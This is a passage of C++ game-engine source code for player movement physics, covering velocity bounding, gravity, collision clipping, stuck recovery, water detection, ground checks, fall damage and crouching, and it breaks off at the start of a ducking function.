//-----------------------------------------------------------------------------
#if !defined(_STATIC_LINKED) || defined(CLIENT_DLL)
const char *DescribeAxis( int axis )
{
static char sz[ 32 ];
switch ( axis )
{
case 0:
Q_strncpy( sz, "X", sizeof( sz ) );
break;
case 1:
Q_strncpy( sz, "Y", sizeof( sz ) );
break;
case 2:
default:
Q_strncpy( sz, "Z", sizeof( sz ) );
break;
}
return sz;
}
#else
const char *DescribeAxis( int axis );
#endif
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::CheckVelocity( void )
{
int i;
//
// bound velocity
//
Vector org = mv->GetAbsOrigin();
for (i=0; i < 3; i++)
{
// See if it's bogus.
if (IS_NAN(mv->m_vecVelocity[i]))
{
DevMsg( 1, "PM Got a NaN velocity %s\n", DescribeAxis( i ) );
mv->m_vecVelocity[i] = 0;
}
if (IS_NAN(org[i]))
{
DevMsg( 1, "PM Got a NaN origin on %s\n", DescribeAxis( i ) );
org[ i ] = 0;
mv->SetAbsOrigin( org );
}
// Bound it.
if (mv->m_vecVelocity[i] > sv_maxvelocity.GetFloat())
{
DevMsg( 1, "PM Got a velocity too high on %s\n", DescribeAxis( i ) );
mv->m_vecVelocity[i] = sv_maxvelocity.GetFloat();
}
else if (mv->m_vecVelocity[i] < -sv_maxvelocity.GetFloat())
{
DevMsg( 1, "PM Got a velocity too low on %s\n", DescribeAxis( i ) );
mv->m_vecVelocity[i] = -sv_maxvelocity.GetFloat();
}
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::AddGravity( void )
{
float ent_gravity;
if ( player->m_flWaterJumpTime )
return;
if (player->GetGravity())
ent_gravity = player->GetGravity();
else
ent_gravity = 1.0;
// Add gravity incorrectly
mv->m_vecVelocity[2] -= (ent_gravity * GetCurrentGravity() * gpGlobals->frametime);
mv->m_vecVelocity[2] += player->GetBaseVelocity()[2] * gpGlobals->frametime;
Vector temp = player->GetBaseVelocity();
temp[2] = 0;
player->SetBaseVelocity( temp );
CheckVelocity();
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : push -
// Output : trace_t
//-----------------------------------------------------------------------------
void CGameMovement::PushEntity( Vector& push, trace_t *pTrace )
{
Vector end;
VectorAdd (mv->GetAbsOrigin(), push, end);
TracePlayerBBox( mv->GetAbsOrigin(), end, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, *pTrace );
mv->SetAbsOrigin( pTrace->endpos );
// So we can run impact function afterwards.
// If
if ( pTrace->fraction < 1.0 && !pTrace->allsolid )
{
MoveHelper( )->AddToTouched( *pTrace, mv->m_vecVelocity );
}
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : in -
// normal -
// out -
// overbounce -
// Output : int
//-----------------------------------------------------------------------------
int CGameMovement::ClipVelocity( Vector& in, Vector& normal, Vector& out, float overbounce, float flRedirectCoeff /* = 0.f */ )
{
float backoff;
float change;
float angle;
int i, blocked;
angle = normal[ 2 ];
blocked = 0x00; // Assume unblocked.
if (angle > 0) // If the plane that is blocking us has a positive z component, then assume it's a floor.
blocked |= 0x01; //
if (!angle) // If the plane has no Z, it is vertical (wall/step)
blocked |= 0x02; //
// Determine how far along plane to slide based on incoming direction.
float flBlocked = DotProduct (in, normal);
backoff = flBlocked * overbounce;
for (i=0 ; i<3 ; i++)
{
change = normal[i]*backoff;
out[i] = in[i] - change;
}
// iterate once to make sure we aren't still moving through the plane
float adjust = DotProduct( out, normal );
if( adjust < 0.0f )
{
out -= ( normal * adjust );
// Msg( "Adjustment = %lf\n", adjust );
}
if ( flRedirectCoeff > 0.f )
{
// Redirect clipped velocity along angle of movement
float flLen = out.Length();
out *= ( -1.f * flBlocked * flRedirectCoeff + flLen ) / flLen;
}
// Return blocking flags.
return blocked;
}
//-----------------------------------------------------------------------------
// Purpose: Computes roll angle for a certain movement direction and velocity
// Input : angles -
// velocity -
// rollangle -
// rollspeed -
// Output : float
//-----------------------------------------------------------------------------
float CGameMovement::CalcRoll ( const QAngle &angles, const Vector &velocity, float rollangle, float rollspeed )
{
float sign;
float side;
float value;
Vector forward, right, up;
AngleVectors (angles, &forward, &right, &up);
side = DotProduct (velocity, right);
sign = side < 0 ? -1 : 1;
side = fabs(side);
value = rollangle;
if (side < rollspeed)
{
side = side * value / rollspeed;
}
else
{
side = value;
}
return side*sign;
}
#define CHECKSTUCK_MINTIME 0.05 // Don't check again too quickly.
#if !defined(_STATIC_LINKED) || defined(CLIENT_DLL)
Vector rgv3tStuckTable[54];
#else
extern Vector rgv3tStuckTable[54];
#endif
#if !defined(_STATIC_LINKED) || defined(CLIENT_DLL)
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CreateStuckTable( void )
{
float x, y, z;
int idx;
int i;
float zi[3];
static int firsttime = 1;
if ( !firsttime )
return;
firsttime = 0;
memset(rgv3tStuckTable, 0, sizeof(rgv3tStuckTable));
idx = 0;
// Little Moves.
x = y = 0;
// Z moves
for (z = -0.125 ; z <= 0.125 ; z += 0.125)
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
x = z = 0;
// Y moves
for (y = -0.125 ; y <= 0.125 ; y += 0.125)
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
y = z = 0;
// X moves
for (x = -0.125 ; x <= 0.125 ; x += 0.125)
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
// Remaining multi axis nudges.
for ( x = - 0.125; x <= 0.125; x += 0.250 )
{
for ( y = - 0.125; y <= 0.125; y += 0.250 )
{
for ( z = - 0.125; z <= 0.125; z += 0.250 )
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
}
}
// Big Moves.
x = y = 0;
zi[0] = 0.0f;
zi[1] = 1.0f;
zi[2] = 6.0f;
for (i = 0; i < 3; i++)
{
// Z moves
z = zi[i];
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
x = z = 0;
// Y moves
for (y = -2.0f ; y <= 2.0f ; y += 2.0)
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
y = z = 0;
// X moves
for (x = -2.0f ; x <= 2.0f ; x += 2.0f)
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
// Remaining multi axis nudges.
for (i = 0 ; i < 3; i++)
{
z = zi[i];
for (x = -2.0f ; x <= 2.0f ; x += 2.0f)
{
for (y = -2.0f ; y <= 2.0f ; y += 2.0)
{
rgv3tStuckTable[idx][0] = x;
rgv3tStuckTable[idx][1] = y;
rgv3tStuckTable[idx][2] = z;
idx++;
}
}
}
Assert( idx < sizeof(rgv3tStuckTable)/sizeof(rgv3tStuckTable[0]));
}
#else
extern void CreateStuckTable( void );
#endif
//-----------------------------------------------------------------------------
// Purpose:
// Input : nIndex -
// server -
// offset -
// Output : int
//-----------------------------------------------------------------------------
int GetRandomStuckOffsets( CBasePlayer *pPlayer, Vector& offset)
{
// Last time we did a full
int idx;
idx = pPlayer->m_StuckLast++;
VectorCopy(rgv3tStuckTable[idx % 54], offset);
return (idx % 54);
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : nIndex -
// server -
//-----------------------------------------------------------------------------
void ResetStuckOffsets( CBasePlayer *pPlayer )
{
pPlayer->m_StuckLast = 0;
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : &input -
// Output : int
//-----------------------------------------------------------------------------
int CGameMovement::CheckStuck( void )
{
Vector base;
Vector offset;
Vector test;
EntityHandle_t hitent;
int idx;
float fTime;
trace_t traceresult;
CreateStuckTable();
hitent = TestPlayerPosition( mv->GetAbsOrigin(), COLLISION_GROUP_PLAYER_MOVEMENT, traceresult );
if ( hitent == INVALID_ENTITY_HANDLE )
{
ResetStuckOffsets( player );
return 0;
}
// Deal with stuckness...
#ifndef DEDICATED
if ( developer.GetBool() )
{
bool isServer = player->IsServer();
engine->Con_NPrintf( isServer, "%s stuck on object %i/%s",
isServer ? "server" : "client",
hitent.GetEntryIndex(), MoveHelper()->GetName(hitent) );
}
#endif
VectorCopy( mv->GetAbsOrigin(), base );
//
// Deal with precision error in network.
//
// World or BSP model
if ( !player->IsServer() )
{
if ( MoveHelper()->IsWorldEntity( hitent ) )
{
int nReps = 0;
ResetStuckOffsets( player );
do
{
GetRandomStuckOffsets( player, offset );
VectorAdd( base, offset, test );
if ( TestPlayerPosition( test, COLLISION_GROUP_PLAYER_MOVEMENT, traceresult ) == INVALID_ENTITY_HANDLE )
{
ResetStuckOffsets( player );
mv->SetAbsOrigin( test );
return 0;
}
nReps++;
} while (nReps < 54);
}
}
// Only an issue on the client.
idx = player->IsServer() ? 0 : 1;
fTime = engine->Time();
int nPlayerIndex = player->entindex();
if ( !IsIndexIntoPlayerArrayValid(nPlayerIndex) )
{
// Get out of here.
return 0;
}
// Too soon?
if ( m_flStuckCheckTime[ nPlayerIndex ][ idx ] >= fTime - CHECKSTUCK_MINTIME )
{
return 1;
}
m_flStuckCheckTime[ nPlayerIndex ][ idx ] = fTime;
MoveHelper( )->AddToTouched( traceresult, mv->m_vecVelocity );
GetRandomStuckOffsets( player, offset );
VectorAdd( base, offset, test );
if ( TestPlayerPosition( test, COLLISION_GROUP_PLAYER_MOVEMENT, traceresult ) == INVALID_ENTITY_HANDLE)
{
ResetStuckOffsets( player );
mv->SetAbsOrigin( test );
return 0;
}
return 1;
}
//-----------------------------------------------------------------------------
// Purpose:
// Output : bool
//-----------------------------------------------------------------------------
bool CGameMovement::InWater( void )
{
return ( player->GetWaterLevel() > WL_Feet );
}
void CGameMovement::ResetGetPointContentsCache()
{
for ( int slot = 0; slot < MAX_PC_CACHE_SLOTS; ++slot )
{
for ( int i = 0; i < MAX_PLAYERS; ++i )
{
m_CachedGetPointContents[ i ][ slot ] = -9999;
}
}
}
int CGameMovement::GetPointContentsCached( const Vector &point, int slot )
{
if ( g_bMovementOptimizations )
{
Assert( player );
Assert( slot >= 0 && slot < MAX_PC_CACHE_SLOTS );
int idx = player->entindex() - 1;
if ( idx >= MAX_PLAYERS )
{
return enginetrace->GetPointContents ( point );
}
if ( m_CachedGetPointContents[ idx ][ slot ] == -9999 || point.DistToSqr( m_CachedGetPointContentsPoint[ idx ][ slot ] ) > 1 )
{
m_CachedGetPointContents[ idx ][ slot ] = enginetrace->GetPointContents ( point );
m_CachedGetPointContentsPoint[ idx ][ slot ] = point;
}
return m_CachedGetPointContents[ idx ][ slot ];
}
else
{
return enginetrace->GetPointContents ( point );
}
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : &input -
// Output : bool
//-----------------------------------------------------------------------------
bool CGameMovement::CheckWater( void )
{
Vector point;
int cont;
Vector vPlayerMins = GetPlayerMins();
Vector vPlayerMaxs = GetPlayerMaxs();
// Pick a spot just above the players feet.
point[0] = mv->GetAbsOrigin()[0] + (vPlayerMins[0] + vPlayerMaxs[0]) * 0.5;
point[1] = mv->GetAbsOrigin()[1] + (vPlayerMins[1] + vPlayerMaxs[1]) * 0.5;
point[2] = mv->GetAbsOrigin()[2] + vPlayerMins[2] + 1;
// Assume that we are not in water at all.
player->SetWaterLevel( WL_NotInWater );
player->SetWaterType( CONTENTS_EMPTY );
// Grab point contents.
cont = GetPointContentsCached( point, 0 );
// Are we under water? (not solid and not empty?)
if ( cont & MASK_WATER )
{
// Set water type
player->SetWaterType( cont );
// We are at least at level one
player->SetWaterLevel( WL_Feet );
// Now check a point that is at the player hull midpoint.
point[2] = mv->GetAbsOrigin()[2] + (vPlayerMins[2] + vPlayerMaxs[2])*0.5;
cont = GetPointContentsCached( point, 1 );
// If that point is also under water...
if ( cont & MASK_WATER )
{
// Set a higher water level.
player->SetWaterLevel( WL_Waist );
// Now check the eye position. (view_ofs is relative to the origin)
point[2] = mv->GetAbsOrigin()[2] + player->GetViewOffset()[2];
cont = GetPointContentsCached( point, 2 );
if ( cont & MASK_WATER )
player->SetWaterLevel( WL_Eyes ); // In over our eyes
}
// Adjust velocity based on water current, if any.
if ( cont & MASK_CURRENT )
{
Vector v;
VectorClear(v);
if ( cont & CONTENTS_CURRENT_0 )
v[0] += 1;
if ( cont & CONTENTS_CURRENT_90 )
v[1] += 1;
if ( cont & CONTENTS_CURRENT_180 )
v[0] -= 1;
if ( cont & CONTENTS_CURRENT_270 )
v[1] -= 1;
if ( cont & CONTENTS_CURRENT_UP )
v[2] += 1;
if ( cont & CONTENTS_CURRENT_DOWN )
v[2] -= 1;
// BUGBUG -- this depends on the value of an unspecified enumerated type
// The deeper we are, the stronger the current.
Vector temp;
VectorMA( player->GetBaseVelocity(), 50.0*player->GetWaterLevel(), v, temp );
player->SetBaseVelocity( temp );
}
}
// if we just transitioned from not in water to in water, record the time it happened
if ( ( WL_NotInWater == m_nOldWaterLevel ) && ( player->GetWaterLevel() > WL_NotInWater ) )
{
m_flWaterEntryTime = gpGlobals->curtime;
}
return ( player->GetWaterLevel() > WL_Feet );
}
void CGameMovement::SetGroundEntity( trace_t *pm )
{
CBaseEntity *newGround = pm ? pm->m_pEnt : NULL;
CBaseEntity *oldGround = player->GetGroundEntity();
Vector vecBaseVelocity = player->GetBaseVelocity();
if ( !oldGround && newGround )
{
// Subtract ground velocity at instant we hit ground jumping
vecBaseVelocity -= newGround->GetAbsVelocity();
vecBaseVelocity.z = newGround->GetAbsVelocity().z;
}
else if ( oldGround && !newGround )
{
// Add in ground velocity at instant we started jumping
vecBaseVelocity += oldGround->GetAbsVelocity();
vecBaseVelocity.z = oldGround->GetAbsVelocity().z;
}
player->SetBaseVelocity( vecBaseVelocity );
player->SetGroundEntity( newGround );
// If we are on something...
if ( newGround )
{
CategorizeGroundSurface( *pm );
// Then we are not in water jump sequence
player->m_flWaterJumpTime = 0;
// Standing on an entity other than the world, so signal that we are touching something.
if ( !pm->DidHitWorld() )
{
MoveHelper()->AddToTouched( *pm, mv->m_vecVelocity );
}
mv->m_vecVelocity.z = 0.0f;
}
}
//-----------------------------------------------------------------------------
// Traces the player's collision bounds in quadrants, looking for a plane that
// can be stood upon (normal's z >= 0.7f). Regardless of success or failure,
// replace the fraction and endpos with the original ones, so we don't try to
// move the player down to the new floor and get stuck on a leaning wall that
// the original trace hit first.
//-----------------------------------------------------------------------------
void TracePlayerBBoxForGround( const Vector& start, const Vector& end, const Vector& minsSrc,
const Vector& maxsSrc, IHandleEntity *player, unsigned int fMask,
int collisionGroup, trace_t& pm )
{
VPROF( "TracePlayerBBoxForGround" );
Ray_t ray;
Vector mins, maxs;
float fraction = pm.fraction;
Vector endpos = pm.endpos;
// Check the -x, -y quadrant
mins = minsSrc;
maxs.Init( MIN( 0, maxsSrc.x ), MIN( 0, maxsSrc.y ), maxsSrc.z );
ray.Init( start, end, mins, maxs );
UTIL_TraceRay( ray, fMask, player, collisionGroup, &pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
// Check the +x, +y quadrant
mins.Init( MAX( 0, minsSrc.x ), MAX( 0, minsSrc.y ), minsSrc.z );
maxs = maxsSrc;
ray.Init( start, end, mins, maxs );
UTIL_TraceRay( ray, fMask, player, collisionGroup, &pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
// Check the -x, +y quadrant
mins.Init( minsSrc.x, MAX( 0, minsSrc.y ), minsSrc.z );
maxs.Init( MIN( 0, maxsSrc.x ), maxsSrc.y, maxsSrc.z );
ray.Init( start, end, mins, maxs );
UTIL_TraceRay( ray, fMask, player, collisionGroup, &pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
// Check the +x, -y quadrant
mins.Init( MAX( 0, minsSrc.x ), minsSrc.y, minsSrc.z );
maxs.Init( maxsSrc.x, MIN( 0, maxsSrc.y ), maxsSrc.z );
ray.Init( start, end, mins, maxs );
UTIL_TraceRay( ray, fMask, player, collisionGroup, &pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
pm.fraction = fraction;
pm.endpos = endpos;
}
//-----------------------------------------------------------------------------
// Traces the player's collision bounds in quadrants, looking for a plane that
// can be stood upon (normal's z >= 0.7f). Regardless of success or failure,
// replace the fraction and endpos with the original ones, so we don't try to
// move the player down to the new floor and get stuck on a leaning wall that
// the original trace hit first.
//-----------------------------------------------------------------------------
void CGameMovement::TryTouchGroundInQuadrants( const Vector& start, const Vector& end, unsigned int fMask, int collisionGroup, trace_t& pm )
{
VPROF( "CGameMovement::TryTouchGroundInQuadrants" );
Vector mins, maxs;
Vector minsSrc = GetPlayerMins();
Vector maxsSrc = GetPlayerMaxs();
float fraction = pm.fraction;
Vector endpos = pm.endpos;
// Check the -x, -y quadrant
mins = minsSrc;
maxs.Init( MIN( 0, maxsSrc.x ), MIN( 0, maxsSrc.y ), maxsSrc.z );
TryTouchGround( start, end, mins, maxs, fMask, collisionGroup, pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
// Check the +x, +y quadrant
mins.Init( MAX( 0, minsSrc.x ), MAX( 0, minsSrc.y ), minsSrc.z );
maxs = maxsSrc;
TryTouchGround( start, end, mins, maxs, fMask, collisionGroup, pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
// Check the -x, +y quadrant
mins.Init( minsSrc.x, MAX( 0, minsSrc.y ), minsSrc.z );
maxs.Init( MIN( 0, maxsSrc.x ), maxsSrc.y, maxsSrc.z );
TryTouchGround( start, end, mins, maxs, fMask, collisionGroup, pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
// Check the +x, -y quadrant
mins.Init( MAX( 0, minsSrc.x ), minsSrc.y, minsSrc.z );
maxs.Init( maxsSrc.x, MIN( 0, maxsSrc.y ), maxsSrc.z );
TryTouchGround( start, end, mins, maxs, fMask, collisionGroup, pm );
if ( pm.m_pEnt && pm.plane.normal[2] >= 0.7)
{
pm.fraction = fraction;
pm.endpos = endpos;
return;
}
pm.fraction = fraction;
pm.endpos = endpos;
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : &input -
//-----------------------------------------------------------------------------
void CGameMovement::CategorizePosition( void )
{
Vector point;
trace_t pm;
// Reset this each time we-recategorize, otherwise we have bogus friction when we jump into water and plunge downward really quickly
player->m_surfaceFriction = 1.0f;
// if the player hull point one unit down is solid, the player
// is on ground
// see if standing on something solid
// Doing this before we move may introduce a potential latency in water detection, but
// doing it after can get us stuck on the bottom in water if the amount we move up
// is less than the 1 pixel 'threshold' we're about to snap to. Also, we'll call
// this several times per frame, so we really need to avoid sticking to the bottom of
// water on each call, and the converse case will correct itself if called twice.
CheckWater();
// observers don't have a ground entity
if ( player->IsObserver() )
return;
float flOffset = 2.0f;
point[0] = mv->GetAbsOrigin()[0];
point[1] = mv->GetAbsOrigin()[1];
point[2] = mv->GetAbsOrigin()[2] - flOffset;
Vector bumpOrigin;
bumpOrigin = mv->GetAbsOrigin();
// Shooting up really fast. Definitely not on ground.
// On ladder moving up, so not on ground either
// NOTE: 145 is a jump.
#define NON_JUMP_VELOCITY 140.0f
float zvel = mv->m_vecVelocity[2];
bool bMovingUp = zvel > 0.0f;
bool bMovingUpRapidly = zvel > NON_JUMP_VELOCITY;
float flGroundEntityVelZ = 0.0f;
if ( bMovingUpRapidly )
{
// Tracker 73219, 75878: ywb 8/2/07
// After save/restore (and maybe at other times), we can get a case where we were saved on a lift and
// after restore we'll have a high local velocity due to the lift making our abs velocity appear high.
// We need to account for standing on a moving ground object in that case in order to determine if we really
// are moving away from the object we are standing on at too rapid a speed. Note that CheckJump already sets
// ground entity to NULL, so this wouldn't have any effect unless we are moving up rapidly not from the jump button.
CBaseEntity *ground = player->GetGroundEntity();
if ( ground )
{
flGroundEntityVelZ = ground->GetAbsVelocity().z;
bMovingUpRapidly = ( zvel - flGroundEntityVelZ ) > NON_JUMP_VELOCITY;
}
}
// Was on ground, but now suddenly am not
if ( bMovingUpRapidly ||
( bMovingUp && player->GetMoveType() == MOVETYPE_LADDER ) )
{
SetGroundEntity( NULL );
}
else
{
// Try and move down.
TryTouchGround( bumpOrigin, point, GetPlayerMins(), GetPlayerMaxs(), MASK_PLAYERSOLID, COLLISION_GROUP_PLAYER_MOVEMENT, pm );
// Was on ground, but now suddenly am not. If we hit a steep plane, we are not on ground
if ( !pm.m_pEnt || pm.plane.normal[2] < 0.7 )
{
// Test four sub-boxes, to see if any of them would have found shallower slope we could actually stand on
TryTouchGroundInQuadrants( bumpOrigin, point, MASK_PLAYERSOLID, COLLISION_GROUP_PLAYER_MOVEMENT, pm );
if ( !pm.m_pEnt || pm.plane.normal[2] < 0.7 )
{
SetGroundEntity( NULL );
// probably want to add a check for a +z velocity too!
if ( ( mv->m_vecVelocity.z > 0.0f ) &&
( player->GetMoveType() != MOVETYPE_NOCLIP ) )
{
player->m_surfaceFriction = 0.25f;
}
}
else
{
SetGroundEntity( &pm );
}
}
else
{
SetGroundEntity( &pm ); // Otherwise, point to index of ent under us.
}
#ifndef CLIENT_DLL
//Adrian: vehicle code handles for us.
if ( player->IsInAVehicle() == false )
{
// If our gamematerial has changed, tell any player surface triggers that are watching
IPhysicsSurfaceProps *physprops = MoveHelper()->GetSurfaceProps();
surfacedata_t *pSurfaceProp = physprops->GetSurfaceData( pm.surface.surfaceProps );
char cCurrGameMaterial = pSurfaceProp->game.material;
if ( !player->GetGroundEntity() )
{
cCurrGameMaterial = 0;
}
// Changed?
if ( player->m_chPreviousTextureType != cCurrGameMaterial )
{
CEnvPlayerSurfaceTrigger::SetPlayerSurface( player, cCurrGameMaterial );
}
player->m_chPreviousTextureType = cCurrGameMaterial;
}
#endif
}
}
//-----------------------------------------------------------------------------
// Purpose: Determine if the player has hit the ground while falling, apply
// damage, and play the appropriate impact sound.
//-----------------------------------------------------------------------------
void CGameMovement::CheckFalling( void )
{
// this function really deals with landing, not falling, so early out otherwise
if ( player->GetGroundEntity() == NULL || player->m_Local.m_flFallVelocity <= 0 )
return;
if ( !IsDead() && player->m_Local.m_flFallVelocity >= PLAYER_FALL_PUNCH_THRESHOLD )
{
bool bAlive = true;
float fvol = 0.5;
if ( player->GetWaterLevel() > 0 )
{
// They landed in water.
}
else
{
// Scale it down if we landed on something that's floating...
if ( player->GetGroundEntity()->IsFloating() )
{
player->m_Local.m_flFallVelocity -= PLAYER_LAND_ON_FLOATING_OBJECT;
}
//
// They hit the ground.
//
if( player->GetGroundEntity()->GetAbsVelocity().z < 0.0f )
{
// Player landed on a descending object. Subtract the velocity of the ground entity.
player->m_Local.m_flFallVelocity += player->GetGroundEntity()->GetAbsVelocity().z;
player->m_Local.m_flFallVelocity = MAX( 0.1f, player->m_Local.m_flFallVelocity );
}
if ( player->m_Local.m_flFallVelocity > PLAYER_MAX_SAFE_FALL_SPEED )
{
//
// If they hit the ground going this fast they may take damage (and die).
//
bAlive = MoveHelper( )->PlayerFallingDamage();
fvol = 1.0;
}
else if ( player->m_Local.m_flFallVelocity > PLAYER_MAX_SAFE_FALL_SPEED / 2 )
{
fvol = 0.85;
}
else if ( player->m_Local.m_flFallVelocity < PLAYER_MIN_BOUNCE_SPEED )
{
fvol = 0;
}
}
PlayerRoughLandingEffects( fvol );
if (bAlive)
{
MoveHelper( )->PlayerSetAnimation( PLAYER_WALK );
}
}
// let any subclasses know that the player has landed and how hard
OnLand(player->m_Local.m_flFallVelocity);
//
// Clear the fall velocity so the impact doesn't happen again.
//
player->m_Local.m_flFallVelocity = 0;
}
void CGameMovement::PlayerRoughLandingEffects( float fvol )
{
if ( fvol > 0.0 )
{
//
// Play landing sound right away.
player->m_flStepSoundTime = 400;
// Play step sound for current texture.
player->PlayStepSound( (Vector &)mv->GetAbsOrigin(), player->m_pSurfaceData, fvol, true );
//
// Knock the screen around a little bit, temporary effect.
//
player->m_Local.m_vecPunchAngle.Set( ROLL, player->m_Local.m_flFallVelocity * 0.013 );
if ( player->m_Local.m_vecPunchAngle[PITCH] > 8 )
{
player->m_Local.m_vecPunchAngle.Set( PITCH, 8 );
}
#if !defined( CLIENT_DLL )
player->RumbleEffect( ( fvol > 0.85f ) ? ( RUMBLE_FALL_LONG ) : ( RUMBLE_FALL_SHORT ), 0, RUMBLE_FLAGS_NONE );
#endif
}
}
//-----------------------------------------------------------------------------
// Purpose: Reset interpolation when player duck state changes
// Input : direction -
//-----------------------------------------------------------------------------
void CGameMovement::ResetDuckLatched()
{
#ifdef CLIENT_DLL
if ( !player->InFirstPersonView() )
player->ResetLatched();
#endif
}
//-----------------------------------------------------------------------------
// Purpose: Use for ease-in, ease-out style interpolation (accel/decel) Used by ducking code.
// Input : value -
// scale -
// Output : float
//-----------------------------------------------------------------------------
float CGameMovement::SplineFraction( float value, float scale )
{
float valueSquared;
value = scale * value;
valueSquared = value * value;
// Nice little ease-in, ease-out spline-like curve
return 3 * valueSquared - 2 * valueSquared * value;
}
//-----------------------------------------------------------------------------
// Purpose: Determine if crouch/uncrouch caused player to get stuck in world
// Input : direction -
//-----------------------------------------------------------------------------
void CGameMovement::FixPlayerCrouchStuck( bool upward )
{
EntityHandle_t hitent;
int i;
Vector test;
trace_t dummy;
int direction = upward ? 1 : 0;
hitent = TestPlayerPosition( mv->GetAbsOrigin(), COLLISION_GROUP_PLAYER_MOVEMENT, dummy );
if (hitent == INVALID_ENTITY_HANDLE )
return;
VectorCopy( mv->GetAbsOrigin(), test );
for ( i = 0; i < 36; i++ )
{
Vector org = mv->GetAbsOrigin();
org.z += direction;
mv->SetAbsOrigin( org );
hitent = TestPlayerPosition( mv->GetAbsOrigin(), COLLISION_GROUP_PLAYER_MOVEMENT, dummy );
if (hitent == INVALID_ENTITY_HANDLE )
return;
}
mv->SetAbsOrigin( test ); // Failed
}
bool CGameMovement::CanUnduck()
{
int i;
trace_t trace;
Vector newOrigin;
VectorCopy( mv->GetAbsOrigin(), newOrigin );
if ( player->GetGroundEntity() != NULL )
{
for ( i = 0; i < 3; i++ )
{
newOrigin[i] += ( VEC_DUCK_HULL_MIN_SCALED( player )[i] - VEC_HULL_MIN_SCALED( player )[i] );
}
}
else
{
// If in air an letting go of crouch, make sure we can offset origin to make
// up for uncrouching
Vector hullSizeNormal = VEC_HULL_MAX_SCALED( player ) - VEC_HULL_MIN_SCALED( player );
Vector hullSizeCrouch = VEC_DUCK_HULL_MAX_SCALED( player ) - VEC_DUCK_HULL_MIN_SCALED( player );
Vector viewDelta = ( hullSizeNormal - hullSizeCrouch );
viewDelta.Negate();
VectorAdd( newOrigin, viewDelta, newOrigin );
}
bool saveducked = player->m_Local.m_bDucked;
player->m_Local.m_bDucked = false;
TracePlayerBBox( mv->GetAbsOrigin(), newOrigin, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, trace );
player->m_Local.m_bDucked = saveducked;
if ( trace.startsolid || ( trace.fraction != 1.0f ) )
return false;
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Stop ducking
//-----------------------------------------------------------------------------
void CGameMovement::FinishUnDuck( void )
{
int i;
trace_t trace;
Vector newOrigin;
VectorCopy( mv->GetAbsOrigin(), newOrigin );
if ( player->GetGroundEntity() != NULL )
{
for ( i = 0; i < 3; i++ )
{
newOrigin[i] += ( VEC_DUCK_HULL_MIN_SCALED( player )[i] - VEC_HULL_MIN_SCALED( player )[i] );
}
}
else
{
// If in air an letting go of crouch, make sure we can offset origin to make
// up for uncrouching
Vector hullSizeNormal = VEC_HULL_MAX_SCALED( player ) - VEC_HULL_MIN_SCALED( player );
Vector hullSizeCrouch = VEC_DUCK_HULL_MAX_SCALED( player ) - VEC_DUCK_HULL_MIN_SCALED( player );
Vector viewDelta = ( hullSizeNormal - hullSizeCrouch );
viewDelta.Negate();
VectorAdd( newOrigin, viewDelta, newOrigin );
}
player->m_Local.m_bDucked = false;
player->RemoveFlag( FL_DUCKING );
player->m_Local.m_bDucking = false;
player->m_Local.m_bInDuckJump = false;
player->SetViewOffset( GetPlayerViewOffset( false ) );
player->m_Local.m_flDucktime = 0;
mv->SetAbsOrigin( newOrigin );
ResetDuckLatched();
// Recategorize position since ducking can change origin
CategorizePosition();
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
void CGameMovement::UpdateDuckJumpEyeOffset( void )
{
if ( player->m_Local.m_flDuckJumpTime != 0.0f )
{
float flDuckMilliseconds = MAX( 0.0f, GAMEMOVEMENT_DUCK_TIME - ( float )player->m_Local.m_flDuckJumpTime );
float flDuckSeconds = flDuckMilliseconds / GAMEMOVEMENT_DUCK_TIME;
if ( flDuckSeconds > TIME_TO_UNDUCK )
{
player->m_Local.m_flDuckJumpTime = 0.0f;
SetDuckedEyeOffset( 0.0f );
}
else
{
float flDuckFraction = SimpleSpline( 1.0f - ( flDuckSeconds / TIME_TO_UNDUCK ) );
SetDuckedEyeOffset( flDuckFraction );
}
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FinishUnDuckJump( trace_t &trace )
{
Vector vecNewOrigin;
